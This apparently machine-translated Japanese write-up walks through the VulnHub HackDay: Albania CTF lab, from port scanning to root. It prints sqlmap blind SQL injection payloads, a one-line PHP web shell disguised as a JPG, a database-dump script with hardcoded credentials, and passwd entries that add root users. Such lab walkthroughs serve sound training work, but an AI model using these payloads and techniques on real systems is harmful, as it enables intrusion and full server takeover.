VulnHub Parsing HackDay:アルバニア

VulnHubを使用して引き続きラボを分析します 。 今回は、HackDay:Albaniaを取り上げます 。 画像には以下の説明があり、これはHackDay Albaniaの2016 CTFのタスクであることを示しています

これは、HackDayアルバニアの2016 CTFで使用されました。

レベルは初級から中級です。

DHCPを使用します。

注:VMwareユーザーには、デフォルトでネットワークインターフェースがダウンする問題が発生する場合があります。 Virtualboxの使用を(一度だけ!)お勧めします。


タスクは、 前回同様、初心者向けに設計されています。 したがって、記事のいくつかの時点でより詳細に検討されます。



始めましょう



ダウンロードしたイメージをVirtualBoxで起動し、 nmapを読み込んだ後、開いているポートを探します。



sudo nmap 192.168.1.1-255 -sV
      
      





2016-12-18 00:03 MSKにNmap 7.01( nmap.org )を開始

192.168.1.44のNmapスキャンレポート

ホストが稼働しています(0.0013秒の遅延)。

表示なし:998個の閉じたポート

ポートステートサービスバージョン

22 / tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1(Ubuntu Linux;プロトコル2.0)

8008 / tcp open http Apache httpd 2.4.18((Ubuntu))

MACアドレス:08:00:27:98:0D:5F(Oracle VirtualBox仮想NIC)

サービス情報:OS:Linux; CPE:cpe:/ o:linux:linux_kernel



192.168.1.44を渡します:8008ポップアップウィンドウが表示されます







ページコード内のコメント:

OK ok、por jo ketu :)


robots.txtファイルの内容を見てみましょう



robots.txt
不許可:/ rkfpuzrahngvat /

不許可:/ slgqvasbiohwbu /

許可しない:/ tmhrwbtcjpixcv /

不許可:/ vojtydvelrkzex /

禁止:/ wpkuzewfmslafy /

許可しない:/ xqlvafxgntmbgz /

不許可:/ yrmwbgyhouncha /

禁止:/ zsnxchzipvodib /

不許可:/ atoydiajqwpejc /

許可しない:/ bupzejbkrxqfkd /

不許可:/ cvqafkclsyrgle /

許可しない:/ unisxcudkqjydw /

許可しない:/ dwrbgldmtzshmf /

許可しない:/ exschmenuating /

許可しない:/ fytdinfovbujoh /

許可しない:/ gzuejogpwcvkpi /

不許可:/ havfkphqxdwlqj /

不許可:/ ibwglqiryexmrk /

不許可:/ jcxhmrjszfynsl /

許可しない:/ kdyinsktagzotm /

許可しない:/ lezjotlubhapun /

不許可:/ mfakpumvcibqvo /

許可しない:/ ngblqvnwdjcrwp /

禁止:/ ohcmrwoxekdsxq /

不許可:/ pidnsxpyfletyr /

許可しない:/ qjeotyqzgmfuzs /



これらのディレクトリのいずれかに移動しようとした後、次の図でindex.htmlファイルを開きます。





background.jpg



翻訳者を使用して、これが正しいディレクトリではないことを理解しています。 すべてを確認するには、dirsearchに次のスクリプトを使用します。



以下を開始します。



 sudo python3 robotscan.py -u http://192.168.1.44:8008 -e php,txt,html,json,bak,jpg -x 403 -w /usr/share/dirb/wordlists/big.txt
      
      





スキャンが完了すると、 / unisxcudkqjydw /ディレクトリの1つでbackground.jpgファイルが欠落していることが わかります。







ブラウザでこのディレクトリに移動すると、次の答えが表示されます。

/ vulnbank /がありますか?


/ vulnbank /ディレクトリの内容を確認すると、認証ページが表示されます。







SQLインジェクションを確認します。



 sudo sqlmap -u 'http://192.168.1.44:8008/unisxcudkqjydw/vulnbank/client/login.php' --data='username=admin&password=admin' --random-agent --level=5 --risk=3
      
      





そして答えを得る:

sqlmapは、保存されたセッションから次の注入ポイントを再開しました。

-パラメーター:ユーザー名(POST)

タイプ:ブールベースのブラインド

タイトル:MySQL RLIKE boolean-based blind-WHERE、HAVING、ORDER BYまたはGROUP BY句

ペイロード:ユーザー名= admin 'RLIKE(SELECT(CASE WHEN(9555 = 9555)THEN 0x61646d696e ELSE 0x28 END))-pSKE&password = admin



タイプ:AND / OR時間ベースのブラインド

タイトル:MySQL> = 5.0.12 RLIKE時間ベースのブラインド

ペイロード:ユーザー名= admin 'RLIKE SLEEP(5)-DBgyとパスワード= admin



テーブルの内容をダンプしようとして失敗し、sqlmapはエラーをスローしました: [クリティカル]データベースユーザー数を取得できません



データを使用してクエリを手動で実行しようとします。 ユーザー名= admin 'RLIKE SLEEP(5)-DBgy&パスワード= admin



そして、あるユーザーのプロファイルに予期せずリダイレクトされます:



非表示のテキスト




いいね! ファイルをダウンロードし、何かをアップロードしようとすると、それに応じてメッセージが表示されます。

ハッキングされた後、jpg、jpeg、bmpなどの画像ファイルのみをアップロードできます...


OK、ファイルを作成する



shell.jpg
 <?php system($_GET['cmd']); ?>
      
      







それを埋めると、すべてがうまくいったというメッセージを受け取ります。 ダウンロードしたファイルはアップロードディレクトリに分類され、次の場所からも入手できます。



192.168.1.44:8008 / unisxcudkqjydw / vulnbank / client / view_file.php?ファイル名= shell.jpg&cmd = id



しかし、大切なシェルの代わりに、次のメッセージが表示されます。

警告:システム():1行目の/var/www/html/unisxcudkqjydw/vulnbank/client/upload/shell.jpgで[id]を分岐できません


いくつかのオプションを試してみましたが、システムコマンドを実行する機能を持たない、最も一般的なphpのインクルージョンがあることがわかりました。



PHPシェルを使用する場合の利点
b374k シェルにチケットを送信するためのフォームに記入します

BurpSuiteを起動し、そこでルールを構成します。



PSこれがないと、BurpSuiteはview_file.php?Filename = myShell.jpg request ?Filename = myShell.jpgに追加するたびにエラーが発生します。



シェルを起動し、ファイル名をupload / myShell.jpgからupload / myShell.phpに変更します。

必要のないBurpSuiteが増えました。 シェルは192.168.1.44:8008 / unisxcudkqjydw / vulnbank / client / upload / myShell.phpから入手できます。



データベースからクライアントとそのパスワードを取得できます。



非表示のテキスト
 function execute_query($sql){ $db_host = "127.0.0.1"; $db_name = "bank_database"; $db_user = "root"; $db_password = "NuCiGoGo321"; $con=mysqli_connect($db_host,$db_user,$db_password,$db_name); if(mysqli_connect_errno()){ echo "Failed to connect to MySQL: " . mysqli_connect_error(); die(0); } $response = mysqli_query($con,$sql); mysqli_close($con); return $response; } $result = execute_query("SELECT * FROM klienti;"); while($row = $result->fetch_assoc()) { print_r($row); }
      
      







ファイルとディレクトリを調べると、次のエントリが見つかります。

passwd 1.58 KBルート:root -rw-r-rw- 2016年10月22日17:21:42


素晴らしい、ユーザーを作成できます。 管理者パスワードハッシュを作成します。



 openssl passwd -1 -salt admin admin
      
      





次に、持っているシェルを介して挿入し、そのようなエントリを/ etc / passwdファイルに挿入します



 gh0st3rs:$1$admin$1kgWpnZpUx.vTroWPXPIB0:1001:0:GH0st3rs:/:/bin/bash admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0:admin:/:/bin/bash
      
      





PSルートからのssh接続が利用できなかったため、2人のユーザーを追加しています。 ルートのみを追加でき、他のすべてのアクションは仮想マシンにログインして実行する必要がありますが、sshの方が便利です。



ユーザーgh0st3rsとしてssh経由で接続し、コマンドを実行します



 su admin
      
      





パスワードを入力すると、この仮想マシンのルート権限を取得します



小さい場合は、旗を見つけるのが残ります。



 root@hackday:/# find / -name "*flag*" root@hackday:/# cat /root/flag.txt Urime, Tani nis raportin! d5ed38fdbf28bc4e58be142cf5a17cf5 root@hackday:/#
      
      





PS解読後、フラグがrioの md5であることがわかります



All Articles